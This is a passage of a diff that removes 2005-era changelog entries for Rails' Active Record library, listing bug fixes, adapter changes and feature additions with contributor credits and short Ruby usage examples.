-* Polymorphic join support for has_one associations (has_one :foo, :as => :bar) #3785 *Rick Olson*
-
-* PostgreSQL: correctly parse negative integer column defaults. #3776 *bellis@deepthought.org*
-
-* Fix problems with count when used with :include *Jeremy Hopple and Kevin Clark*
-
-* ActiveRecord::RecordInvalid now states which validations failed in its default error message *Tobias Lütke*
-
-* Using AssociationCollection#build with arrays of hashes should call build, not create *David Heinemeier Hansson*
-
-* Remove definition of reloadable? from ActiveRecord::Base to make way for new Reloadable code. *Nicholas Seckar*
-
-* Fixed schema handling for DB2 adapter that didn't work: an initial schema could be set, but it wasn't used when getting tables and indexes #3678 *Maik Schmidt*
-
-* Support the :column option for remove_index with the PostgreSQL adapter. #3661 *Shugo Maeda*
-
-* Add documentation for add_index and remove_index. #3600 *Manfred Stienstra <m.stienstra@fngtps.com>*
-
-* If the OCI library is not available, raise an exception indicating as much. #3593 *Michael Schoen*
-
-* Add explicit :order in finder tests as postgresql orders results differently by default. #3577. *Rick Olson*
-
-* Make dynamic finders honor additional passed in :conditions. #3569 *Oleg Pudeyev <pudeyo@rpi.edu>, Marcel Molina Jr.*
-
-* Show a meaningful error when the DB2 adapter cannot be loaded due to missing dependencies. *Nicholas Seckar*
-
-* Make .count work for has_many associations with multi line finder sql *Michael Schoen*
-
-* Add AR::Base.base_class for querying the ancestor AR::Base subclass *Jamis Buck*
-
-* Allow configuration of the column used for optimistic locking *wilsonb@gmail.com*
-
-* Don't hardcode 'id' in acts as list. *ror@philippeapril.com*
-
-* Fix date errors for SQLServer in association tests. #3406 *Kevin Clark*
-
-* Escape database name in MySQL adapter when creating and dropping databases. #3409 *anna@wota.jp*
-
-* Disambiguate table names for columns in validates_uniqueness_of's WHERE clause. #3423 *alex.borovsky@gmail.com*
-
-* .with_scope imposed create parameters now bypass attr_protected *Tobias Lütke*
-
-* Don't raise an exception when there are more keys than there are named bind variables when sanitizing conditions. *Marcel Molina Jr.*
-
-* Multiple enhancements and adjustments to DB2 adaptor. #3377 *contact@maik-schmidt.de*
-
-* Sanitize scoped conditions. *Marcel Molina Jr.*
-
-* Added option to Base.reflection_of_all_associations to specify a specific association to scope the call. For example Base.reflection_of_all_associations(:has_many) *David Heinemeier Hansson*
-
-* Added ActiveRecord::SchemaDumper.ignore_tables which tells SchemaDumper which tables to ignore. Useful for tables with funky column like the ones required for tsearch2. *Tobias Lütke*
-
-* SchemaDumper now doesn't fail anymore when there are unknown column types in the schema. Instead the table is ignored and a Comment is left in the schema.rb. *Tobias Lütke*
-
-* Fixed that saving a model with multiple habtm associations would only save the first one. #3244 *yanowitz-rubyonrails@quantumfoam.org, Florian Weber*
-
-* Fix change_column to work with PostgreSQL 7.x and 8.x. #3141 *wejn@box.cz, Rick Olson, Scott Barron*
-
-* removed :piggyback in favor of just allowing :select on :through associations. *Tobias Lütke*
-
-* made method missing delegation to class methods on relation target work on :through associations. *Tobias Lütke*
-
-* made .find() work on :through relations. *Tobias Lütke*
-
-* Fix typo in association docs. #3296. *Blair Zajac*
-
-* Fixed :through relations when using STI inherited classes would use the inherited class's name as foreign key on the join model *Tobias Lütke*
-
-## 1.13.2 (December 13th, 2005) ##
-
-* Become part of Rails 1.0
-
-* MySQL: allow encoding option for mysql.rb driver. *Jeremy Kemper*
-
-* Added option inheritance for find calls on has_and_belongs_to_many and has_many assosociations [David Heinemeier Hansson]. Example:
-
- class Post
- has_many :recent_comments, :class_name => "Comment", :limit => 10, :include => :author
- end
-
- post.recent_comments.find(:all) # Uses LIMIT 10 and includes authors
- post.recent_comments.find(:all, :limit => nil) # Uses no limit but include authors
- post.recent_comments.find(:all, :limit => nil, :include => nil) # Uses no limit and doesn't include authors
-
-* Added option to specify :group, :limit, :offset, and :select options from find on has_and_belongs_to_many and has_many assosociations *David Heinemeier Hansson*
-
-* MySQL: fixes for the bundled mysql.rb driver. #3160 *Justin Forder*
-
-* SQLServer: fix obscure optimistic locking bug. #3068 *kajism@yahoo.com*
-
-* SQLServer: support uniqueidentifier columns. #2930 *keithm@infused.org*
-
-* SQLServer: cope with tables names qualified by owner. #3067 *jeff@ministrycentered.com*
-
-* SQLServer: cope with columns with "desc" in the name. #1950 *Ron Lusk, Ryan Tomayko*
-
-* SQLServer: cope with primary keys with "select" in the name. #3057 *rdifrango@captechventures.com*
-
-* Oracle: active? performs a select instead of a commit. #3133 *Michael Schoen*
-
-* MySQL: more robust test for nullified result hashes. #3124 *Stefan Kaes*
-
-* Reloading an instance refreshes its aggregations as well as its associations. #3024 *François Beausoleil*
-
-* Fixed that using :include together with :conditions array in Base.find would cause NoMethodError #2887 *Paul Hammmond*
-
-* PostgreSQL: more robust sequence name discovery. #3087 *Rick Olson*
-
-* Oracle: use syntax compatible with Oracle 8. #3131 *Michael Schoen*
-
-* MySQL: work around ruby-mysql/mysql-ruby inconsistency with mysql.stat. Eliminate usage of mysql.ping because it doesn't guarantee reconnect. Explicitly close and reopen the connection instead. *Jeremy Kemper*
-
-* Added preliminary support for polymorphic associations *David Heinemeier Hansson*
-
-* Added preliminary support for join models *David Heinemeier Hansson*
-
-* Allow validate_uniqueness_of to be scoped by more than just one column. #1559. *jeremy@jthopple.com, Marcel Molina Jr.*
-
-* Firebird: active? and reconnect! methods for handling stale connections. #428 *Ken Kunz <kennethkunz@gmail.com>*
-
-* Firebird: updated for FireRuby 0.4.0. #3009 *Ken Kunz <kennethkunz@gmail.com>*
-
-* MySQL and PostgreSQL: active? compatibility with the pure-Ruby driver. #428 *Jeremy Kemper*
-
-* Oracle: active? check pings the database rather than testing the last command status. #428 *Michael Schoen*
-
-* SQLServer: resolve column aliasing/quoting collision when using limit or offset in an eager find. #2974 *kajism@yahoo.com*
-
-* Reloading a model doesn't lose track of its connection. #2996 *junk@miriamtech.com, Jeremy Kemper*
-
-* Fixed bug where using update_attribute after pushing a record to a habtm association of the object caused duplicate rows in the join table. #2888 *colman@rominato.com, Florian Weber, Michael Schoen*
-
-* MySQL, PostgreSQL: reconnect! also reconfigures the connection. Otherwise, the connection 'loses' its settings if it times out and is reconnected. #2978 *Shugo Maeda*
-
-* has_and_belongs_to_many: use JOIN instead of LEFT JOIN. *Jeremy Kemper*
-
-* MySQL: introduce :encoding option to specify the character set for client, connection, and results. Only available for MySQL 4.1 and later with the mysql-ruby driver. Do SHOW CHARACTER SET in mysql client to see available encodings. #2975 *Shugo Maeda*
-
-* Add tasks to create, drop and rebuild the MySQL and PostgreSQL test databases. *Marcel Molina Jr.*
-
-* Correct boolean handling in generated reader methods. #2945 *Don Park, Stefan Kaes*
-
-* Don't generate read methods for columns whose names are not valid ruby method names. #2946 *Stefan Kaes*
-
-* Document :force option to create_table. #2921 *Blair Zajac <blair@orcaware.com>*
-
-* Don't add the same conditions twice in has_one finder sql. #2916 *Jeremy Evans*
-
-* Rename Version constant to VERSION. #2802 *Marcel Molina Jr.*
-
-* Introducing the Firebird adapter. Quote columns and use attribute_condition more consistently. Setup guide: http://wiki.rubyonrails.com/rails/pages/Firebird+Adapter #1874 *Ken Kunz <kennethkunz@gmail.com>*
-
-* SQLServer: active? and reconnect! methods for handling stale connections. #428 *kajism@yahoo.com, Tom Ward <tom@popdog.net>*
-
-* Associations handle case-equality more consistently: item.parts.is_a?(Array) and item.parts === Array. #1345 *MarkusQ@reality.com*
-
-* SQLServer: insert uses given primary key value if not nil rather than SELECT @@IDENTITY. #2866 *kajism@yahoo.com, Tom Ward <tom@popdog.net>*
-
-* Oracle: active? and reconnect! methods for handling stale connections. Optionally retry queries after reconnect. #428 *Michael Schoen <schoenm@earthlink.net>*
-
-* Correct documentation for Base.delete_all. #1568 *Newhydra*
-
-* Oracle: test case for column default parsing. #2788 *Michael Schoen <schoenm@earthlink.net>*
-
-* Update documentation for Migrations. #2861 *Tom Werner <tom@cube6media.com>*
-
-* When AbstractAdapter#log rescues an exception, attempt to detect and reconnect to an inactive database connection. Connection adapter must respond to the active? and reconnect! instance methods. Initial support for PostgreSQL, MySQL, and SQLite. Make certain that all statements which may need reconnection are performed within a logged block: for example, this means no avoiding log(sql, name) { } if @logger.nil? #428 *Jeremy Kemper*
-
-* Oracle: Much faster column reflection. #2848 *Michael Schoen <schoenm@earthlink.net>*
-
-* Base.reset_sequence_name analogous to reset_table_name (mostly useful for testing). Base.define_attr_method allows nil values. *Jeremy Kemper*
-
-* PostgreSQL: smarter sequence name defaults, stricter last_insert_id, warn on pk without sequence. *Jeremy Kemper*
-
-* PostgreSQL: correctly discover custom primary key sequences. #2594 *Blair Zajac <blair@orcaware.com>, meadow.nnick@gmail.com, Jeremy Kemper*
-
-* SQLServer: don't report limits for unsupported field types. #2835 *Ryan Tomayko*
-
-* Include the Enumerable module in ActiveRecord::Errors. *Rick Bradley <rick@rickbradley.com>*
-
-* Add :group option, correspond to GROUP BY, to the find method and to the has_many association. #2818 *rubyonrails@atyp.de*
-
-* Don't cast nil or empty strings to a dummy date. #2789 *Rick Bradley <rick@rickbradley.com>*
-
-* acts_as_list plays nicely with inheritance by remembering the class which declared it. #2811 *rephorm@rephorm.com*
-
-* Fix sqlite adaptor's detection of missing dbfile or database declaration. *Nicholas Seckar*
-
-* Fixed acts_as_list for definitions without an explicit :order #2803 *Jonathan Viney*
-
-* Upgrade bundled ruby-mysql 0.2.4 with mysql411 shim (see #440) to ruby-mysql 0.2.6 with a patchset for 4.1 protocol support. Local change [301] is now a part of the main driver; reapplied local change [2182]. Removed GC.start from Result.free. *tommy@tmtm.org, akuroda@gmail.com, Doug Fales <doug.fales@gmail.com>, Jeremy Kemper*
-
-* Correct handling of complex order clauses with SQL Server limit emulation. #2770 *Tom Ward <tom@popdog.net>, Matt B.*
-
-* Correct whitespace problem in Oracle default column value parsing. #2788 *rick@rickbradley.com*
-
-* Destroy associated has_and_belongs_to_many records after all before_destroy callbacks but before destroy. This allows you to act on the habtm association as you please while preserving referential integrity. #2065 *larrywilliams1@gmail.com, sam.kirchmeier@gmail.com, elliot@townx.org, Jeremy Kemper*
-
-* Deprecate the old, confusing :exclusively_dependent option in favor of :dependent => :delete_all. *Jeremy Kemper*
-
-* More compatible Oracle column reflection. #2771 *Ryan Davis <ryand-ruby@zenspider.com>, Michael Schoen <schoenm@earthlink.net>*
-
-
-## 1.13.0 (November 7th, 2005) ##
-
-* Fixed faulty regex in get_table_name method (SQLServerAdapter) #2639 *Ryan Tomayko*
-
-* Added :include as an option for association declarations [David Heinemeier Hansson]. Example:
-
- has_many :posts, :include => [ :author, :comments ]
-
-* Rename Base.constrain to Base.with_scope so it doesn't conflict with existing concept of database constraints. Make scoping more robust: uniform method => parameters, validated method names and supported finder parameters, raise exception on nested scopes. [Jeremy Kemper] Example:
-
- Comment.with_scope(:find => { :conditions => 'active=true' }, :create => { :post_id => 5 }) do
- # Find where name = ? and active=true
- Comment.find :all, :conditions => ['name = ?', name]
- # Create comment associated with :post_id
- Comment.create :body => "Hello world"
- end
-
-* Fixed that SQL Server should ignore :size declarations on anything but integer and string in the agnostic schema representation #2756 *Ryan Tomayko*
-
-* Added constrain scoping for creates using a hash of attributes bound to the :creation key [David Heinemeier Hansson]. Example:
-
- Comment.constrain(:creation => { :post_id => 5 }) do
- # Associated with :post_id
- Comment.create :body => "Hello world"
- end
-
- This is rarely used directly, but allows for find_or_create on associations. So you can do:
-
- # If the tag doesn't exist, a new one is created that's associated with the person
- person.tags.find_or_create_by_name("Summer")
-
-* Added find_or_create_by_X as a second type of dynamic finder that'll create the record if it doesn't already exist [David Heinemeier Hansson]. Example:
-
- # No 'Summer' tag exists
- Tag.find_or_create_by_name("Summer") # equal to Tag.create(:name => "Summer")
-
- # Now the 'Summer' tag does exist
- Tag.find_or_create_by_name("Summer") # equal to Tag.find_by_name("Summer")
-
-* Added extension capabilities to has_many and has_and_belongs_to_many proxies [David Heinemeier Hansson]. Example:
-
- class Account < ActiveRecord::Base
- has_many :people do
- def find_or_create_by_name(name)
- first_name, *last_name = name.split
- last_name = last_name.join " "
-
- find_or_create_by_first_name_and_last_name(first_name, last_name)
- end
- end
- end
-
- person = Account.find(:first).people.find_or_create_by_name("David Heinemeier Hansson")
- person.first_name # => "David"
- person.last_name # => "Heinemeier Hansson"
-
- Note that the anoymous module must be declared using brackets, not do/end (due to order of evaluation).
-
-* Omit internal dtproperties table from SQLServer table list. #2729 *Ryan Tomayko*
-
-* Quote column names in generated SQL. #2728 *Ryan Tomayko*
-
-* Correct the pure-Ruby MySQL 4.1.1 shim's version test. #2718 *Jeremy Kemper*
-
-* Add Model.create! to match existing model.save! method. When save! raises RecordInvalid, you can catch the exception, retrieve the invalid record (invalid_exception.record), and see its errors (invalid_exception.record.errors). *Jeremy Kemper*
-
-* Correct fixture behavior when table name pluralization is off. #2719 *Rick Bradley <rick@rickbradley.com>*
-
-* Changed :dbfile to :database for SQLite adapter for consistency (old key still works as an alias) #2644 *Dan Peterson*
-
-* Added migration support for Oracle #2647 *Michael Schoen*
-
-* Worked around that connection can't be reset if allow_concurrency is off. #2648 *Michael Schoen <schoenm@earthlink.net>*
-
-* Fixed SQL Server adapter to pass even more tests and do even better #2634 *Ryan Tomayko*
-
-* Fixed SQL Server adapter so it honors options[:conditions] when applying :limits #1978 *Tom Ward*
-
-* Added migration support to SQL Server adapter (please someone do the same for Oracle and DB2) #2625 *Tom Ward*
-
-* Use AR::Base.silence rather than AR::Base.logger.silence in fixtures to preserve Log4r compatibility. #2618 *dansketcher@gmail.com*
-
-* Constraints are cloned so they can't be inadvertently modified while they're
- in effect. Added :readonly finder constraint. Calling an association collection's class method (Part.foobar via item.parts.foobar) constrains :readonly => false since the collection's :joins constraint would otherwise force it to true. [Jeremy Kemper <rails@bitsweat.net>]
-* Added :offset and :limit to the kinds of options that Base.constrain can use #2466 *duane.johnson@gmail.com*
-
-* Fixed handling of nil number columns on Oracle and cleaned up tests for Oracle in general #2555 *Michael Schoen*
-
-* Added quoted_true and quoted_false methods and tables to db2_adapter and cleaned up tests for DB2 #2493, #2624 *maik schmidt*
-
-
-## 1.12.2 (October 26th, 2005) ##
-
-* Allow symbols to rename columns when using SQLite adapter. #2531 *Kevin Clark*
-
-* Map Active Record time to SQL TIME. #2575, #2576 *Robby Russell <robby@planetargon.com>*
-
-* Clarify semantics of ActiveRecord::Base#respond_to? #2560 *Stefan Kaes*
-
-* Fixed Association#clear for associations which have not yet been accessed. #2524 *Patrick Lenz <patrick@lenz.sh>*
-
-* HABTM finders shouldn't return readonly records. #2525 *Patrick Lenz <patrick@lenz.sh>*
-
-* Make all tests runnable on their own. #2521. *Blair Zajac <blair@orcaware.com>*
-
-
-## 1.12.1 (October 19th, 2005) ##
-
-* Always parenthesize :conditions options so they may be safely combined with STI and constraints.
-
-* Correct PostgreSQL primary key sequence detection. #2507 *tmornini@infomania.com*
-
-* Added support for using limits in eager loads that involve has_many and has_and_belongs_to_many associations
-
-
-## 1.12.0 (October 16th, 2005) ##
-
-* Update/clean up documentation (rdoc)
-
-* PostgreSQL sequence support. Use set_sequence_name in your model class to specify its primary key sequence. #2292 *Rick Olson <technoweenie@gmail.com>, Robby Russell <robby@planetargon.com>*
-
-* Change default logging colors to work on both white and black backgrounds. *Sam Stephenson*
-
-* YAML fixtures support ordered hashes for fixtures with foreign key dependencies in the same table. #1896 *purestorm@ggnore.net*
-
-* :dependent now accepts :nullify option. Sets the foreign key of the related objects to NULL instead of deleting them. #2015 *Robby Russell <robby@planetargon.com>*
-
-* Introduce read-only records. If you call object.readonly! then it will mark the object as read-only and raise ReadOnlyRecord if you call object.save. object.readonly? reports whether the object is read-only. Passing :readonly => true to any finder method will mark returned records as read-only. The :joins option now implies :readonly, so if you use this option, saving the same record will now fail. Use find_by_sql to work around.
-
-* Avoid memleak in dev mode when using fcgi
-
-* Simplified .clear on active record associations by using the existing delete_records method. #1906 *Caleb <me@cpb.ca>*
-
-* Delegate access to a customized primary key to the conventional id method. #2444. *Blair Zajac <blair@orcaware.com>*
-
-* Fix errors caused by assigning a has-one or belongs-to property to itself
-
-* Add ActiveRecord::Base.schema_format setting which specifies how databases should be dumped *Sam Stephenson*
-
-* Update DB2 adapter. #2206. *contact@maik-schmidt.de*
-
-* Corrections to SQLServer native data types. #2267. *rails.20.clarry@spamgourmet.com*
-
-* Deprecated ActiveRecord::Base.threaded_connection in favor of ActiveRecord::Base.allow_concurrency.
-
-* Protect id attribute from mass assigment even when the primary key is set to something else. #2438. *Blair Zajac <blair@orcaware.com>*
-
-* Misc doc fixes (typos/grammar/etc.). #2430. *coffee2code*
-
-* Add test coverage for content_columns. #2432. *coffee2code*
-
-* Speed up for unthreaded environments. #2431. *Stefan Kaes*
-
-* Optimization for Mysql selects using mysql-ruby extension greater than 2.6.3. #2426. *Stefan Kaes*
-
-* Speed up the setting of table_name. #2428. *Stefan Kaes*
-
-* Optimize instantiation of STI subclass records. In partial fullfilment of #1236. *Stefan Kaes*
-
-* Fix typo of 'constrains' to 'contraints'. #2069. *Michael Schuerig <michael@schuerig.de>*
-
-* Optimization refactoring for add_limit_offset!. In partial fullfilment of #1236. *Stefan Kaes*
-
-* Add ability to get all siblings, including the current child, with acts_as_tree. Recloses #2140. *Michael Schuerig <michael@schuerig.de>*
-
-* Add geometric type for postgresql adapter. #2233 *Andrew Kaspick*
-
-* Add option (true by default) to generate reader methods for each attribute of a record to avoid the overhead of calling method missing. In partial fullfilment of #1236. *Stefan Kaes*
-
-* Add convenience predicate methods on Column class. In partial fullfilment of #1236. *Stefan Kaes*
-
-* Raise errors when invalid hash keys are passed to ActiveRecord::Base.find. #2363 *Chad Fowler <chad@chadfowler.com>, Nicholas Seckar*
-
-* Added :force option to create_table that'll try to drop the table if it already exists before creating
-
-* Fix transactions so that calling return while inside a transaction will not leave an open transaction on the connection. *Nicholas Seckar*
-
-* Use foreign_key inflection uniformly. #2156 *Blair Zajac <blair@orcaware.com>*
-
-* model.association.clear should destroy associated objects if :dependent => true instead of nullifying their foreign keys. #2221 *joergd@pobox.com, ObieFernandez <obiefernandez@gmail.com>*
-
-* Returning false from before_destroy should cancel the action. #1829 *Jeremy Huffman*
-
-* Recognize PostgreSQL NOW() default as equivalent to CURRENT_TIMESTAMP or CURRENT_DATE, depending on the column's type. #2256 *mat <mat@absolight.fr>*
-
-* Extensive documentation for the abstract database adapter. #2250 *François Beausoleil <fbeausoleil@ftml.net>*
-
-* Clean up Fixtures.reset_sequences for PostgreSQL. Handle tables with no rows and models with custom primary keys. #2174, #2183 *jay@jay.fm, Blair Zajac <blair@orcaware.com>*
-
-* Improve error message when nil is assigned to an attr which validates_size_of within a range. #2022 *Manuel Holtgrewe <purestorm@ggnore.net>*
-
-* Make update_attribute use the same writer method that update_attributes uses.
- \#2237 [trevor@protocool.com]
-* Make migrations honor table name prefixes and suffixes. #2298 *Jakob Skjerning, Marcel Molina Jr.*
-
-* Correct and optimize PostgreSQL bytea escaping. #1745, #1837 *dave@cherryville.org, ken@miriamtech.com, bellis@deepthought.org*
-
-* Fixtures should only reset a PostgreSQL sequence if it corresponds to an integer primary key named id. #1749 *chris@chrisbrinker.com*
-
-* Standardize the interpretation of boolean columns in the Mysql and Sqlite adapters. (Use MysqlAdapter.emulate_booleans = false to disable this behavior)
-
-* Added new symbol-driven approach to activating observers with Base#observers= [David Heinemeier Hansson]. Example:
-
- ActiveRecord::Base.observers = :cacher, :garbage_collector
-
-* Added AbstractAdapter#select_value and AbstractAdapter#select_values as convenience methods for selecting single values, instead of hashes, of the first column in a SELECT #2283 *solo@gatelys.com*
-
-* Wrap :conditions in parentheses to prevent problems with OR's #1871 *Jamis Buck*
-
-* Allow the postgresql adapter to work with the SchemaDumper. *Jamis Buck*
-
-* Add ActiveRecord::SchemaDumper for dumping a DB schema to a pure-ruby file, making it easier to consolidate large migration lists and port database schemas between databases. *Jamis Buck*
-
-* Fixed migrations for Windows when using more than 10 *David Naseby*
-
-* Fixed that the create_x method from belongs_to wouldn't save the association properly #2042 *Florian Weber*
-
-* Fixed saving a record with two unsaved belongs_to associations pointing to the same object #2023 *Tobias Lütke*
-
-* Improved migrations' behavior when the schema_info table is empty. *Nicholas Seckar*
-
-* Fixed that Observers didn't observe sub-classes #627 *Florian Weber*
-
-* Fix eager loading error messages, allow :include to specify tables using strings or symbols. Closes #2222 *Marcel Molina Jr.*
-
-* Added check for RAILS_CONNECTION_ADAPTERS on startup and only load the connection adapters specified within if its present (available in Rails through config.connection_adapters using the new config) #1958 *skae*
-
-* Fixed various problems with has_and_belongs_to_many when using customer finder_sql #2094 *Florian Weber*
-
-* Added better exception error when unknown column types are used with migrations #1814 *François Beausoleil*
-
-* Fixed "connection lost" issue with the bundled Ruby/MySQL driver (would kill the app after 8 hours of inactivity) #2163, #428 *kajism@yahoo.com*
-
-* Fixed comparison of Active Record objects so two new objects are not equal #2099 *deberg*
-
-* Fixed that the SQL Server adapter would sometimes return DBI::Timestamp objects instead of Time #2127 *Tom Ward*
-
-* Added the instance methods #root and #ancestors on acts_as_tree and fixed siblings to not include the current node #2142, #2140 *coffee2code*
-
-* Fixed that Active Record would call SHOW FIELDS twice (or more) for the same model when the cached results were available #1947 *sd@notso.net*
-
-* Added log_level and use_silence parameter to ActiveRecord::Base.benchmark. The first controls at what level the benchmark statement will be logged (now as debug, instead of info) and the second that can be passed false to include all logging statements during the benchmark block/
-
-* Make sure the schema_info table is created before querying the current version #1903
-
-* Fixtures ignore table name prefix and suffix #1987 *Jakob Skjerning*
-
-* Add documentation for index_type argument to add_index method for migrations #2005 *Blaine*
-
-* Modify read_attribute to allow a symbol argument #2024 *Ken Kunz*
-
-* Make destroy return self #1913 *Sebastian Kanthak*
-
-* Fix typo in validations documentation #1938 *court3nay*
-
-* Make acts_as_list work for insert_at(1) #1966 *hensleyl@papermountain.org*
-
-* Fix typo in count_by_sql documentation #1969 *Alexey Verkhovsky*
-
-* Allow add_column and create_table to specify NOT NULL #1712 *emptysands@gmail.com*
-
-* Fix create_table so that id column is implicitly added *Rick Olson*
-
-* Default sequence names for Oracle changed to #{table_name}_seq, which is the most commonly used standard. In addition, a new method ActiveRecord::Base#set_sequence_name allows the developer to set the sequence name per model. This is a non-backwards-compatible change -- anyone using the old-style "rails_sequence" will need to either create new sequences, or set: ActiveRecord::Base.set_sequence_name = "rails_sequence" #1798
-
-* OCIAdapter now properly handles synonyms, which are commonly used to separate out the schema owner from the application user #1798
-
-* Fixed the handling of camelCase columns names in Oracle #1798
-
-* Implemented for OCI the Rakefile tasks of :clone_structure_to_test, :db_structure_dump, and :purge_test_database, which enable Oracle folks to enjoy all the agile goodness of Rails for testing. Note that the current implementation is fairly limited -- only tables and sequences are cloned, not constraints or indexes. A full clone in Oracle generally requires some manual effort, and is version-specific. Post 9i, Oracle recommends the use of the DBMS_METADATA package, though that approach requires editing of the physical characteristics generated #1798
-
-* Fixed the handling of multiple blob columns in Oracle if one or more of them are null #1798
-
-* Added support for calling constrained class methods on has_many and has_and_belongs_to_many collections #1764 *Tobias Lütke*
-
- class Comment < AR:B
- def self.search(q)
- find(:all, :conditions => ["body = ?", q])
- end
- end
-
- class Post < AR:B
- has_many :comments
- end
-
- Post.find(1).comments.search('hi') # => SELECT * from comments WHERE post_id = 1 AND body = 'hi'
-
- NOTICE: This patch changes the underlying SQL generated by has_and_belongs_to_many queries. If your relying on that, such as
- by explicitly referencing the old t and j aliases, you'll need to update your code. Of course, you _shouldn't_ be relying on
- details like that no less than you should be diving in to touch private variables. But just in case you do, consider yourself
- noticed :)
-
-* Added migration support for SQLite (using temporary tables to simulate ALTER TABLE) #1771 *Sam Stephenson*
-
-* Remove extra definition of supports_migrations? from abstract_adaptor.rb *Nicholas Seckar*
-
-* Fix acts_as_list so that moving next-to-last item to the bottom does not result in duplicate item positions
-
-* Fixed incompatibility in DB2 adapter with the new limit/offset approach #1718 *Maik Schmidt*
-
-* Added :select option to find which can specify a different value than the default *, like find(:all, :select => "first_name, last_name"), if you either only want to select part of the columns or exclude columns otherwise included from a join #1338 *Stefan Kaes*
-
-
-## 1.11.1 (11 July, 2005) ##
-
-* Added support for limit and offset with eager loading of has_one and belongs_to associations. Using the options with has_many and has_and_belongs_to_many associations will now raise an ActiveRecord::ConfigurationError #1692 *Rick Olson*
-
-* Fixed that assume_bottom_position (in acts_as_list) could be called on items already last in the list and they would move one position away from the list #1648 *tyler@kianta.com*
-
-* Added ActiveRecord::Base.threaded_connections flag to turn off 1-connection per thread (required for thread safety). By default it's on, but WEBrick in Rails need it off #1685 *Sam Stephenson*
-
-* Correct reflected table name for singular associations. #1688 *court3nay*
-
-* Fixed optimistic locking with SQL Server #1660 *tom@popdog.net*
-
-* Added ActiveRecord::Migrator.migrate that can figure out whether to go up or down based on the target version and the current
-
-* Added better error message for "packets out of order" #1630 *court3nay*
-
-* Fixed first run of "rake migrate" on PostgreSQL by not expecting a return value on the id #1640
-
-
-## 1.11.0 (6 July, 2005) ##
-
-* Fixed that Yaml error message in fixtures hid the real error #1623 *Nicholas Seckar*
-
-* Changed logging of SQL statements to use the DEBUG level instead of INFO
-
-* Added new Migrations framework for describing schema transformations in a way that can be easily applied across multiple databases #1604 [Tobias Lütke] See documentation under ActiveRecord::Migration and the additional support in the Rails rakefile/generator.
-
-* Added callback hooks to association collections #1549 [Florian Weber]. Example:
-
- class Project
- has_and_belongs_to_many :developers, :before_add => :evaluate_velocity
-
- def evaluate_velocity(developer)
- ...
- end
- end
-
- ..raising an exception will cause the object not to be added (or removed, with before_remove).
-
-
-* Fixed Base.content_columns call for SQL Server adapter #1450 *DeLynn Berry*
-
-* Fixed Base#write_attribute to work with both symbols and strings #1190 *Paul Legato*
-
-* Fixed that has_and_belongs_to_many didn't respect single table inheritance types #1081 *Florian Weber*
-
-* Speed up ActiveRecord#method_missing for the common case (read_attribute).
-
-* Only notify observers on after_find and after_initialize if these methods are defined on the model. #1235 *Stefan Kaes*
-
-* Fixed that single-table inheritance sub-classes couldn't be used to limit the result set with eager loading #1215 *Chris McGrath*
-
-* Fixed validates_numericality_of to work with overrided getter-method when :allow_nil is on #1316 *raidel@onemail.at*
-
-* Added roots, root, and siblings to the batch of methods added by acts_as_tree #1541 *Michael Schuerig*
-
-* Added support for limit/offset with the MS SQL Server driver so that pagination will now work #1569 *DeLynn Berry*
-
-* Added support for ODBC connections to MS SQL Server so you can connect from a non-Windows machine #1569 *Mark Imbriaco/DeLynn Berry*
-
-* Fixed that multiparameter posts ignored attr_protected #1532 *alec+rails@veryclever.net*
-
-* Fixed problem with eager loading when using a has_and_belongs_to_many association using :association_foreign_key #1504 *flash@vanklinkenbergsoftware.nl*
-
-* Fixed Base#find to honor the documentation on how :joins work and make them consistent with Base#count #1405 [pritchie@gmail.com]. What used to be:
-
- Developer.find :all, :joins => 'developers_projects', :conditions => 'id=developer_id AND project_id=1'
-
- ...should instead be:
-
- Developer.find(
- :all,
- :joins => 'LEFT JOIN developers_projects ON developers.id = developers_projects.developer_id',
- :conditions => 'project_id=1'
- )
-
-* Fixed that validations didn't respecting custom setting for too_short, too_long messages #1437 *Marcel Molina Jr.*
-
-* Fixed that clear_association_cache doesn't delete new associations on new records (so you can safely place new records in the session with Action Pack without having new associations wiped) #1494 *cluon*
-
-* Fixed that calling Model.find([]) returns [] and doesn't throw an exception #1379
-
-* Fixed that adding a record to a has_and_belongs_to collection would always save it -- now it only saves if its a new record #1203 *Alisdair McDiarmid*
-
-* Fixed saving of in-memory association structures to happen as an after_create/after_update callback instead of after_save -- that way you can add new associations in after_create/after_update callbacks without getting them saved twice
-
-* Allow any Enumerable, not just Array, to work as bind variables #1344 *Jeremy Kemper*
-
-* Added actual database-changing behavior to collection assigment for has_many and has_and_belongs_to_many #1425 [Sebastian Kanthak].
- Example:
-
- david.projects = [Project.find(1), Project.new("name" => "ActionWebSearch")]
- david.save
-
- If david.projects already contain the project with ID 1, this is left unchanged. Any other projects are dropped. And the new
- project is saved when david.save is called.
-
- Also included is a way to do assignments through IDs, which is perfect for checkbox updating, so you get to do:
-
- david.project_ids = [1, 5, 7]
-
-* Corrected typo in find SQL for has_and_belongs_to_many. #1312 *ben@bensinclair.com*
-
-* Fixed sanitized conditions for has_many finder method. #1281 *jackc@hylesanderson.com, pragdave, Tobias Lütke*
-
-* Comprehensive PostgreSQL schema support. Use the optional schema_search_path directive in database.yml to give a comma-separated list of schemas to search for your tables. This allows you, for example, to have tables in a shared schema without having to use a custom table name. See http://www.postgresql.org/docs/8.0/interactive/ddl-schemas.html to learn more. #827 *dave@cherryville.org*
-
-* Corrected @@configurations typo #1410 *david@ruppconsulting.com*
-
-* Return PostgreSQL columns in the order they were declared #1374 *perlguy@gmail.com*
-
-* Allow before/after update hooks to work on models using optimistic locking
-
-* Eager loading of dependent has_one associations won't delete the association #1212
-
-* Added a second parameter to the build and create method for has_one that controls whether the existing association should be replaced (which means nullifying its foreign key as well). By default this is true, but false can be passed to prevent it.
-
-* Using transactional fixtures now causes the data to be loaded only once.
-
-* Added fixture accessor methods that can be used when instantiated fixtures are disabled.
-
- fixtures :web_sites
-
- def test_something
- assert_equal "Ruby on Rails", web_sites(:rubyonrails).name
- end
-
-* Added DoubleRenderError exception that'll be raised if render* is called twice #518 *Nicholas Seckar*
-
-* Fixed exceptions occuring after render has been called #1096 *Nicholas Seckar*
-
-* CHANGED: validates_presence_of now uses Errors#add_on_blank, which will make " " fail the validation where it didn't before #1309
-
-* Added Errors#add_on_blank which works like Errors#add_on_empty, but uses Object#blank? instead
-
-* Added the :if option to all validations that can either use a block or a method pointer to determine whether the validation should be run or not. #1324 [Duane Johnson/jhosteny]. Examples:
-
- Conditional validations such as the following are made possible:
- validates_numericality_of :income, :if => :employed?
-
- Conditional validations can also solve the salted login generator problem:
- validates_confirmation_of :password, :if => :new_password?
-
- Using blocks:
